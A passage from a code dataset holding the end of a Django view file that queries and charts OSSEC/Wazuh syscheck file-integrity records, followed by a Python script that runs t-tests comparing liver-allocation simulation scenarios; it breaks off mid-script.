annotate(date=TruncDay('datetime')).values('date').\\\n filter(date__gte=start_date, date__lte=end_date).\\\n values_list('id', flat=True)\n daterange_query = Q(id__in=syschks_daterange_ids)\n\n if hosts:\n syschk_fpath = []\n syschk_dir = '/var/ossec/queue/syscheck'\n for host in hosts:\n if '127.0.0.1' in host:\n fpath = '%s/%s' % (syschk_dir, 'syscheck')\n else:\n fpath = '%s/%s%s' % (syschk_dir, host, '->syscheck')\n syschk_fpath.append(fpath)\n hosts_query = Q(syschk_fpath__in=syschk_fpath)\n\n if ftypes and len(ftypes) < 2:\n syschk_cfg = get_syschk_cfg_params.delay().get()\n dirs = []\n for syschk in syschk_cfg.values():\n for key, value in syschk.items():\n if key == ftypes[0]:\n directories = value.get('directories', False)\n if directories:\n for directory in directories:\n dirs.append(directory)\n for directory in dirs:\n ftype_query = Q(fpath__startswith='{0}/'.format(directory))\n ftypes_query |= ftype_query\n\n owners_query = Q(uname__in=owners) if owners else Q()\n fpatterns_query = Q(fpath__icontains=fpatterns) if fpatterns else Q()\n\n # combine all Q query\n Qquery = Q(daterange_query & owners_query & hosts_query &\n fpatterns_query & ftypes_query)\n return Syscheck.objects.select_related().all().filter(Qquery).\\\n order_by('-mtime')\n\n\nclass SyscheckStatisticsView(View):\n def post(self, request, *args, **kwargs):\n startDate = request.POST.get('startDate', False)\n endDate = request.POST.get('endDate', False)\n result = {}\n if startDate and endDate:\n start_date = datetime.strptime(startDate, '%d/%m/%Y %I:%M %p')\n end_date = datetime.strptime(endDate, '%d/%m/%Y %I:%M %p')\n syschecks = Syscheck.objects.all()\n syschk_hosts = syschecks.values('syschk_fpath').distinct().\\\n values_list('syschk_fpath', flat=True)\n syschk_with_datetime = syschecks.\\\n annotate(datetime=RawSQL('FROM_UNIXTIME(mtime)', [],\n output_field=DateTimeField())).\\\n filter(datetime__gte=start_date, datetime__lte=end_date)\n\n diff = end_date - start_date\n datasets = {}\n if diff.days == 0:\n trunc_syschks = syschk_with_datetime.annotate(\n hour=TruncHour('datetime'))\n\n syschk_times = []\n for dt in rrule.rrule(\n rrule.HOURLY, dtstart=start_date, until=end_date):\n syschk_times.append(dt)\n\n datasets['text'] = 'Number of syscheck in 24 hours per hosts'\n datasets['datas'] = OrderedDict()\n datasets['labels'] = []\n for syschk_time in syschk_times:\n datasets['labels'].append(syschk_time.strftime(\"%H\"))\n for syschk_host in syschk_hosts:\n if syschk_host not in datasets['datas']:\n datasets['datas'][syschk_host] = []\n trunc_syschks_count = trunc_syschks.\\\n filter(syschk_fpath=syschk_host,\n hour=pytz.utc.localize(syschk_time)).count()\n datasets['datas'][syschk_host].\\\n append(trunc_syschks_count)\n result['by_time_host'] = datasets\n elif diff.days > 0 and diff.days <= 31:\n trunc_syschks = syschk_with_datetime.annotate(\n date=TruncDay('datetime'))\n\n syschk_times = []\n for dt in rrule.rrule(\n rrule.DAILY, dtstart=start_date, until=end_date):\n syschk_times.append(dt)\n\n datasets['text'] = 'Number of syschecks per days each host'\n datasets['datas'] = OrderedDict()\n datasets['labels'] = []\n for syschk_time in syschk_times:\n datasets['labels'].append(syschk_time.strftime(\"%d/%m\"))\n for syschk_host in syschk_hosts:\n if syschk_host not in datasets['datas']:\n datasets['datas'][syschk_host] = []\n trunc_syschks_count = trunc_syschks.\\\n filter(syschk_fpath=syschk_host,\n date=pytz.utc.localize(syschk_time)).count()\n datasets['datas'][syschk_host].\\\n append(trunc_syschks_count)\n result['by_time_host'] = datasets\n elif diff.days > 31 and diff.days <= 365:\n trunc_syschks = syschk_with_datetime.annotate(\n hour=TruncHour('datetime'))\n\n syschk_times = OrderedDict()\n for dt in rrule.rrule(\n rrule.DAILY, dtstart=start_date, until=end_date):\n isocalendar = dt.isocalendar()\n week = 'W{0}/{1}'.format(isocalendar[1], isocalendar[0])\n if week not in syschk_times:\n syschk_times[week] = {}\n syschk_times[week]['start_date'] = dt\n else:\n syschk_times[week]['end_date'] = dt\n\n datasets['text'] = 'Number of syschecks per weeks each host'\n datasets['datas'] = OrderedDict()\n datasets['labels'] = []\n for week, week_dates in syschk_times.items():\n datasets['labels'].append(week)\n for syschk_host in syschk_hosts:\n if syschk_host not in datasets['datas']:\n datasets['datas'][syschk_host] = []\n trunc_syschks_count = trunc_syschks.\\\n filter(syschk_fpath=syschk_host,\n datetime__gte=week_dates['start_date'],\n datetime__lte=week_dates['end_date']).\\\n count()\n datasets['datas'][syschk_host].\\\n append(trunc_syschks_count)\n result['by_time_host'] = datasets\n else:\n trunc_syschks = syschk_with_datetime.annotate(\n month=TruncMonth('datetime'))\n\n syschk_times = []\n for dt in rrule.rrule(\n rrule.MONTHLY, dtstart=start_date, until=end_date):\n syschk_times.append(dt)\n\n datasets['text'] = 'Number of syschecks per months each host'\n datasets['datas'] = OrderedDict()\n datasets['labels'] = []\n for syschk_time in syschk_times:\n datasets['labels'].append(syschk_time.strftime(\"M%m/%Y\"))\n for syschk_host in syschk_hosts:\n if syschk_host not in datasets['datas']:\n datasets['datas'][syschk_host] = []\n trunc_syschks_count = trunc_syschks.\\\n filter(syschk_fpath=syschk_host,\n month=pytz.utc.localize(syschk_time)).count()\n datasets['datas'][syschk_host].\\\n append(trunc_syschks_count)\n result['by_time_host'] = datasets\n\n datasets_new_datas = OrderedDict()\n for key in datasets['datas'].keys():\n fname = os.path.basename(key)\n if fname == 'syscheck':\n agent = Agent.objects.get(agent_id='000')\n new_host_name = agent.name\n else:\n new_host_name = fname[:fname.find('->')]\n datasets_new_datas[str(new_host_name)] = \\\n datasets['datas'][key]\n datasets['datas'] = datasets_new_datas\n\n by_host_data = []\n by_host_count = []\n for syschk_host in syschk_hosts:\n by_host_count.append(\n syschk_with_datetime.\n filter(syschk_fpath=syschk_host).count())\n\n fname = os.path.basename(syschk_host)\n if fname == 'syscheck':\n agent = Agent.objects.get(agent_id='000')\n new_host_name = agent.name\n else:\n new_host_name = fname[:fname.find('->')]\n by_host_data.append(new_host_name)\n\n result['by_host'] = {\n 'label': 'Number of syschecks per hosts',\n 'count': by_host_count,\n 'data': by_host_data,\n }\n\n return HttpResponse(json.dumps(result))\n\n\ndef download_syscheck_file(request, syschk_id):\n syscheck = Syscheck.objects.get(pk=syschk_id)\n download = get_syschk_download.delay(syscheck.state_fpath).get(timeout=3)\n if download:\n response = HttpResponse(\n download['content'], content_type=syscheck.ftype)\n response['Content-Disposition'] = 'attachment; filename={}'.\\\n format(os.path.basename(syscheck.fpath))\n return response\n raise Http404\n","repo_name":"thoongnv/yosim","sub_path":"yosim/syschecks/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":13102,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"2198293456","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Apr 10 12:11:44 2017\n\n@author: kbui1993\n\"\"\"\nimport pandas as pd\nimport numpy as np\nfrom scipy.stats import t\n\n#list of cases\ncases = ['SRTR',\\\n 'Share29_Share15_0boost(8district)',\\\n 'Share29_Share18_3boost(8district)',\\\n 'Share29_Share20_5boost(8district)',\\\n 'Share35_Share15_0boost(8district)',\\\n 'Share35_Share15_3boost(8district)',\\\n 'Share35_Share15_5boost(8district)',\\\n 'Share35_Share18_3boost(8district)',\\\n 'Share35_Share20_5boost(8district)',\\\n 'Share29_Share15_0boost(11district)',\\\n 'Share29_Share18_3boost(11district)',\\\n 'Share29_Share20_5boost(11district)',\\\n 'Share35_Share18_3boost(11district)',\\\n 'Share35_Share20_5boost(11district)',\\\n 'Share35_Share18_0boost(11district)',\\\n 'Share35_Share20_0boost(11district)',\\\n 'Share29_Share15_0boost(400mile)',\\\n 'Share29_Share18_3boost(400mile)',\\\n 'Share29_Share20_5boost(400mile)',\\\n 'Share35_Share15_0boost(400mile)',\\\n 'Share35_Share15_3boost(400mile)',\\\n 'Share35_Share15_5boost(400mile)',\\\n 'Share35_Share18_0boost(400mile)',\\\n 'Share35_Share18_3boost(400mile)',\\\n 'Share35_Share18_5boost(400mile)',\\\n 'Share35_Share20_0boost(400mile)',\\\n 'Share35_Share20_3boost(400mile)',\\\n 'Share35_Share20_5boost(400mile)',\\\n 'Share35_Share22_0boost(400mile)',\\\n 'Share35_Share22_3boost(400mile)',\\\n 'Share35_Share22_5boost(400mile)',\\\n 'Share29_Share15_0boost(500mile)',\\\n 'Share29_Share18_3boost(500mile)',\\\n 'Share29_Share20_5boost(500mile)',\\\n 'Share35_Share15_0boost(500mile)',\\\n 'Share35_Share15_3boost(500mile)',\\\n 'Share35_Share15_5boost(500mile)',\\\n 'Share35_Share18_0boost(500mile)',\\\n 'Share35_Share18_3boost(500mile)',\\\n 'Share35_Share18_5boost(500mile)',\\\n 'Share35_Share20_0boost(500mile)',\\\n 'Share35_Share20_3boost(500mile)',\\\n 'Share35_Share20_5boost(500mile)',\\\n 'Share35_Share22_0boost(500mile)',\\\n 'Share35_Share22_3boost(500mile)',\\\n 'Share35_Share22_5boost(500mile)',\\\n 'Share29_Share15_0boost(600mile)',\\\n 'Share29_Share18_3boost(600mile)',\\\n 'Share29_Share20_5boost(600mile)',\\\n 'Share35_Share15_0boost(600mile)',\\\n 'Share35_Share15_3boost(600mile)',\\\n 'Share35_Share15_5boost(600mile)',\\\n 'Share35_Share18_0boost(600mile)',\\\n 'Share35_Share18_3boost(600mile)',\\\n 'Share35_Share18_5boost(600mile)',\\\n 'Share35_Share20_0boost(600mile)',\\\n 'Share35_Share20_3boost(600mile)',\\\n 'Share35_Share20_5boost(600mile)',\\\n 'Share35_Share22_0boost(600mile)',\\\n 'Share35_Share22_3boost(600mile)',\\\n 'Share35_Share22_5boost(600mile)',\\\n 'Share29_Share15_0boost(Constrained400mile)',\\\n 'Share29_Share18_3boost(Constrained400mile)',\\\n 'Share29_Share20_5boost(Constrained400mile)',\\\n 'Share35_Share15_0boost(Constrained400mile)',\\\n 'Share35_Share15_3boost(Constrained400mile)',\\\n 'Share35_Share15_5boost(Constrained400mile)',\\\n 'Share35_Share18_0boost(Constrained400mile)',\\\n 'Share35_Share18_3boost(Constrained400mile)',\\\n 'Share35_Share18_5boost(Constrained400mile)',\\\n 'Share35_Share20_0boost(Constrained400mile)',\\\n 'Share35_Share20_3boost(Constrained400mile)',\\\n 'Share35_Share20_5boost(Constrained400mile)',\\\n 'Share29_Share15_0boost(Constrained500mile)',\\\n 'Share29_Share18_3boost(Constrained500mile)',\\\n 'Share29_Share20_5boost(Constrained500mile)',\\\n 'Share35_Share15_0boost(Constrained500mile)',\\\n 'Share35_Share15_3boost(Constrained500mile)',\\\n 'Share35_Share15_5boost(Constrained500mile)',\\\n 'Share35_Share18_0boost(Constrained500mile)',\\\n 'Share35_Share18_3boost(Constrained500mile)',\\\n 'Share35_Share18_5boost(Constrained500mile)',\\\n 'Share35_Share20_0boost(Constrained500mile)',\\\n 'Share35_Share20_3boost(Constrained500mile)',\\\n 'Share35_Share20_5boost(Constrained500mile)',\\\n 'Share29_Share15_0boost(Constrained600mile)',\\\n 'Share29_Share18_3boost(Constrained600mile)',\\\n 'Share29_Share20_5boost(Constrained600mile)',\\\n 'Share35_Share15_0boost(Constrained600mile)',\\\n 'Share35_Share15_3boost(Constrained600mile)',\\\n 'Share35_Share15_5boost(Constrained600mile)',\\\n 'Share35_Share18_0boost(Constrained600mile)',\\\n 'Share35_Share18_3boost(Constrained600mile)',\\\n 'Share35_Share18_5boost(Constrained600mile)',\\\n 'Share35_Share20_0boost(Constrained600mile)',\\\n 'Share35_Share20_3boost(Constrained600mile)',\\\n 'Share35_Share20_5boost(Constrained600mile)']\n\nbase_directory = \"C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/base(cap_and_delay)/\"\n \n#list of files\nfiles = ['C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/SRTR/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/8district/Share29_Share15_0boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/8district/Share29_Share18_3boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/8district/Share29_Share20_5boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/8district/Share35_Share15_0boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/8district/Share35_Share15_3boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/8district/Share35_Share15_5boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/8district/Share35_Share18_3boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/8district/Share35_Share20_5boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/Current/Share29_Share15_0boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/Current/Share29_Share18_3boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/Current/Share29_Share20_5boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/Current/Share35_Share18_3boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/Current/Share35_Share20_5boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/Current/Share35_Share18_0boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/Current/Share35_Share20_0boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/LivSim(400)/Share29_Share15_0boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/LivSim(400)/Share29_Share18_3boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/LivSim(400)/Share29_Share20_5boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/LivSim(400)/Share35_Share15_0boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/LivSim(400)/Share35_Share15_3boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/LivSim(400)/Share35_Share15_5boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/LivSim(400)/Share35_Share18_0boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/LivSim(400)/Share35_Share18_3boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/LivSim(400)/Share35_Share18_5boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/LivSim(400)/Share35_Share20_0boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/LivSim(400)/Share35_Share20_3boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/LivSim(400)/Share35_Share20_5boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/LivSim(400)/Share35_Share22_0boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/LivSim(400)/Share35_Share22_3boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/LivSim(400)/Share35_Share22_5boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/LivSim(500)/Share29_Share15_0boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/LivSim(500)/Share29_Share18_3boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/LivSim(500)/Share29_Share20_5boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/LivSim(500)/Share35_Share15_0boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/LivSim(500)/Share35_Share15_3boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/LivSim(500)/Share35_Share15_5boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/LivSim(500)/Share35_Share18_0boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/LivSim(500)/Share35_Share18_3boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/LivSim(500)/Share35_Share18_5boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/LivSim(500)/Share35_Share20_0boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/LivSim(500)/Share35_Share20_3boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/LivSim(500)/Share35_Share20_5boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/LivSim(500)/Share35_Share22_0boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/LivSim(500)/Share35_Share22_3boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/LivSim(500)/Share35_Share22_5boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/LivSim(600)/Share29_Share15_0boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/LivSim(600)/Share29_Share18_3boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/LivSim(600)/Share29_Share20_5boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/LivSim(600)/Share35_Share15_0boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/LivSim(600)/Share35_Share15_3boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/LivSim(600)/Share35_Share15_5boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/LivSim(600)/Share35_Share18_0boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/LivSim(600)/Share35_Share18_3boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/LivSim(600)/Share35_Share18_5boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/LivSim(600)/Share35_Share20_0boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/LivSim(600)/Share35_Share20_3boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/LivSim(600)/Share35_Share20_5boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/LivSim(600)/Share35_Share22_0boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/LivSim(600)/Share35_Share22_3boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/LivSim(600)/Share35_Share22_5boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/ConstrainedLivSim(400)/Share29_Share15_0boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/ConstrainedLivSim(400)/Share29_Share18_3boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/ConstrainedLivSim(400)/Share29_Share20_5boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/ConstrainedLivSim(400)/Share35_Share15_0boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/ConstrainedLivSim(400)/Share35_Share15_3boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/ConstrainedLivSim(400)/Share35_Share15_5boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/ConstrainedLivSim(400)/Share35_Share18_0boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/ConstrainedLivSim(400)/Share35_Share18_3boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/ConstrainedLivSim(400)/Share35_Share18_5boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/ConstrainedLivSim(400)/Share35_Share20_0boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/ConstrainedLivSim(400)/Share35_Share20_3boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/ConstrainedLivSim(400)/Share35_Share20_5boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/ConstrainedLivSim(500)/Share29_Share15_0boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/ConstrainedLivSim(500)/Share29_Share18_3boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/ConstrainedLivSim(500)/Share29_Share20_5boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/ConstrainedLivSim(500)/Share35_Share15_0boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/ConstrainedLivSim(500)/Share35_Share15_3boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/ConstrainedLivSim(500)/Share35_Share15_5boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/ConstrainedLivSim(500)/Share35_Share18_0boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/ConstrainedLivSim(500)/Share35_Share18_3boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/ConstrainedLivSim(500)/Share35_Share18_5boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/ConstrainedLivSim(500)/Share35_Share20_0boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/ConstrainedLivSim(500)/Share35_Share20_3boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/ConstrainedLivSim(500)/Share35_Share20_5boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/ConstrainedLivSim(600)/Share29_Share15_0boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/ConstrainedLivSim(600)/Share29_Share18_3boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/ConstrainedLivSim(600)/Share29_Share20_5boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/ConstrainedLivSim(600)/Share35_Share15_0boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/ConstrainedLivSim(600)/Share35_Share15_3boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/ConstrainedLivSim(600)/Share35_Share15_5boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/ConstrainedLivSim(600)/Share35_Share18_0boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/ConstrainedLivSim(600)/Share35_Share18_3boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/ConstrainedLivSim(600)/Share35_Share18_5boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/ConstrainedLivSim(600)/Share35_Share20_0boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/ConstrainedLivSim(600)/Share35_Share20_3boost/',\\\n 'C:/Users/kbui1993/Desktop/New Results/Cap_and_Delay/ConstrainedLivSim(600)/Share35_Share20_5boost/']\n\ndef compute_waitlist_death_diff(base_case, new_case):\n \"\"\"\n This function computes the difference of deaths between the base case and\n another case. It appleis t-test to compute p-value.\n @Input:\n @base_case: base case death data set\n @new_case: new case deathd data set\n @Output:\n @diff: death difference\n @p_value: p value of the test\n \"\"\"\n \n #count the number of observations in each case\n n_base = len(base_case)\n n_new = len(new_case)\n \n #compute the average number of deaths\n average_base = np.mean(base_case)\n average_new = np.mean(new_case)\n \n #compute the variance of deaths\n var_base = np.var(base_case)\n var_new = np.var(new_case)\n \n #compute the difference of deaths\n diff = average_new - average_base\n \n #compute the t score\n t_score = np.absolute(diff)/np.sqrt(var_base/n_base+var_new/n_new)\n \n #compute degrees of freedom\n #df = ((var_base/n_base + var_new/n_new)**2)/(((var_base/n_base)**2)/(n_base-1) + ((var_new/n_new)**2)/(n_new-1))\n \n #compute p_value\n p_value = t.cdf(t_score, min(n_base-1, n_new-1))\n \n #return results\n return diff, 2*(1-p_value)\n \n\ndef compute_waitlist_removal_diff(base_case, new_case):\n \"\"\"\n This function computes the difference of waitlist removal between the\n base case and another case. It applies t-test to compute p-value.\n @Input:\n @base_case: base case data set (should have 61 columns)\n @new_case: new case data set (should have 61 columns)\n @Output:\n @diff: waitlist removals difference\n @p_value: p value of the test\n \"\"\"\n \n #count the number of observations in each case\n n_base = len(base_case)\n n_new = len(new_case)\n \n #obtain the row sum for each case\n row_sum_base = base_case.sum(axis = 1)\n row_sum_new = new_case.sum(axis = 1)\n \n #compute the average number of removals\n average_base = np.mean(row_sum_base)\n average_new = np.mean(row_sum_new)\n \n #compute the difference of deaths\n diff = average_new - average_base\n \n #compute the variance of removals\n var_base = np.var(row_sum_base)\n var_new = np.var(row_sum_new)\n \n #compute t-score\n t_score = np.absolute(diff)/np.sqrt(var_base/n_base+var_new/n_new)\n \n #compute degrees of freedom\n #df = ((var_base/n_base + var_new/n_new)**2)/(((var_base/n_base)**2)/(n_base-1) + ((var_new/n_new)**2)/(n_new-1))\n \n #compute p-value\n p_value = t.cdf(t_score, min(n_base-1, n_new-1))\n \n #return result\n return diff, 2*(1-p_value)\n\ndef compute_diff_mean(base_case, new_case):\n \"\"\"\n This function computes the mean difference and applies t-test to compute\n the p value.\n @Input:\n base_case: base case data set\n new_case: new case data set\n @Output:\n diff: mean difference\n p_value: p value of the t-test\n \"\"\"\n \n #compute the number of observations for both cases\n n_base = len(base_case)\n n_new = len(new_case)\n \n #compute the average\n average_base = np.mean(base_case.iloc[:,0])\n average_new = np.mean(new_case.iloc[:,0])\n \n #compute the standard deviation\n var_base = np.var(base_case.iloc[:,0])\n var_new = np.var(new_case.iloc[:,0])\n \n #compute the difference of deaths\n diff = average_new - average_base\n \n #compute t-score\n t_score = np.absolute(diff)/np.sqrt(var_base/n_base+var_new/n_new)\n \n #compute degrees of freedom\n #df = ((var_base/n_base + var_new/n_new)**2)/(((var_base/n_base)**2)/(n_base-1) + ((var_new/n_new)**2)/(n_new-1))\n \n #compute the p-value\n p_value = t.cdf(t_score, min(n_base-1, n_new-1))\n \n #return result\n return diff, 2*(1-p_value)\n\n#read in total number of waitlist deaths for base case\ndeath_base_case = pd.read_csv(base_directory + \"Output_deaths.csv\")\ndeath_base_case = death_base_case.iloc[1:,0]\n\n#read in waitlist removals for base case\nwaitlist_removal_base_case = pd.read_csv(base_directory + \"RawOutput_yremoved.csv\")\nwaitlist_removal_base_case = waitlist_removal_base_case.iloc[1:,3:]\n\n#read in total number of post-transplant deaths for base case\nposttx_death_base_case = pd.read_csv(base_directory + \"Output_post_transplant_deaths.csv\")\nposttx_death_base_case = posttx_death_base_case.iloc[:,1]\n\n#read in total number of retransplant deaths for base case\nretx_death_base_case = pd.read_csv(base_directory + \"Output_post_transplant_deaths_regrafts.csv\")\nretx_death_base_case = retx_death_base_case.iloc[:,1]\n\n#read in total number of rewaitlist deaths for base case\nrewaitlist_death_base_case = pd.read_csv(base_directory + \"Output_waitlistrelist_deaths.csv\")\nrewaitlist_death_base_case = rewaitlist_death_base_case.iloc[:,1]\n\n#read in mean meld for base case\nmean_meld_base_data = pd.read_csv(base_directory + \"Output_meld_disparity_mean.csv\")\nmean_meld_base_data = mean_meld_base_data.iloc[1:,]\n\n#read in standard deviation of mean meld for base case\nstd_mean_meld_base_data = pd.read_csv(base_directory + \"Output_meld_disparity_std.csv\")\nstd_mean_meld_base_data = std_mean_meld_base_data.iloc[1:,]\n\n#read in median meld for base case\nmedian_meld_base_data = pd.read_csv(base_directory + \"Output_meld_median_mean.csv\")\nmedian_meld_base_data = median_meld_base_data.iloc[1:,]\n\n#read in standard deviation of median meld for base case\nstd_median_meld_base_data = pd.read_csv(base_directory + \"Output_meld_median_std.csv\")\nstd_median_meld_base_data = std_median_meld_base_data.iloc[1:,]\n\n#read in average vehicle transport distance for base case\naverage_vehicle_transport_distance_base_data = pd.read_csv(base_directory + \"AvgDistanceVehicle.csv\")\n\n#read in average helicopter transport distance for base case\naverage_helicopter_transport_distance_base_data = pd.read_csv(base_directory + \"AvgDistanceHelicopter.csv\")\n\n#read in average airplane transport distance for base case\naverage_airplane_transport_distance_base_data = pd.read_csv(base_directory + \"AvgDistanceAirplane.csv\")\n\n#read in average vehicle time for base case\naverage_vehicle_transport_time_base_data = pd.read_csv(base_directory + \"AvgTimeVehicle.csv\")\n\n#read in average helicopter time for base case\naverage_helicopter_transport_time_base_data = pd.read_csv(base_directory + \"AvgTimeHelicopter.csv\")\n\n#read in average airplane time for base case\naverage_airplane_transport_time_base_data = pd.read_csv(base_directory + \"AvgTimeAirplane.csv\")\n\n#read in average percentage of organs transported by car for base case\naverage_car_percentage_base_data = pd.read_csv(base_directory + \"CarPercentage.csv\")\n\n#read in average percentage of organs transported by helicopter for base case\naverage_helicopter_percentage_base_data = pd.read_csv(base_directory + \"HelicopterPercentage.csv\")\n\n#read in average percentage of organs transported by airplane for base case\naverage_airplane_percentage_base_data = pd.read_csv(base_directory + \"AirplanePercentage.csv\")\n\n#preinitialize several lists to store data for other cases\nnum_of_waitlist_deaths = []\nwaitlist_removals = []\nnum_of_posttx_deaths = []\nnum_of_retx_deaths = []\nnum_of_rewaitlist_deaths = []\nmean_meld_data = []\nstd_mean_meld_data = []\nmedian_meld_data = []\nstd_median_meld_data = []\navg_vehicle_transport_distance_data = []\navg_helicopter_transport_distance_data = []\navg_airplane_transport_distance_data = []\navg_vehicle_transport_time_data = []\navg_helicopter_transport_time_data = []\navg_airplane_transport_time_data = []\navg_car_percentage_data = []\navg_helicopter_data = []\navg_airplane_data = []\n\n#begin reading in other cases\nfor file in files:\n \n #read in number of waitlist 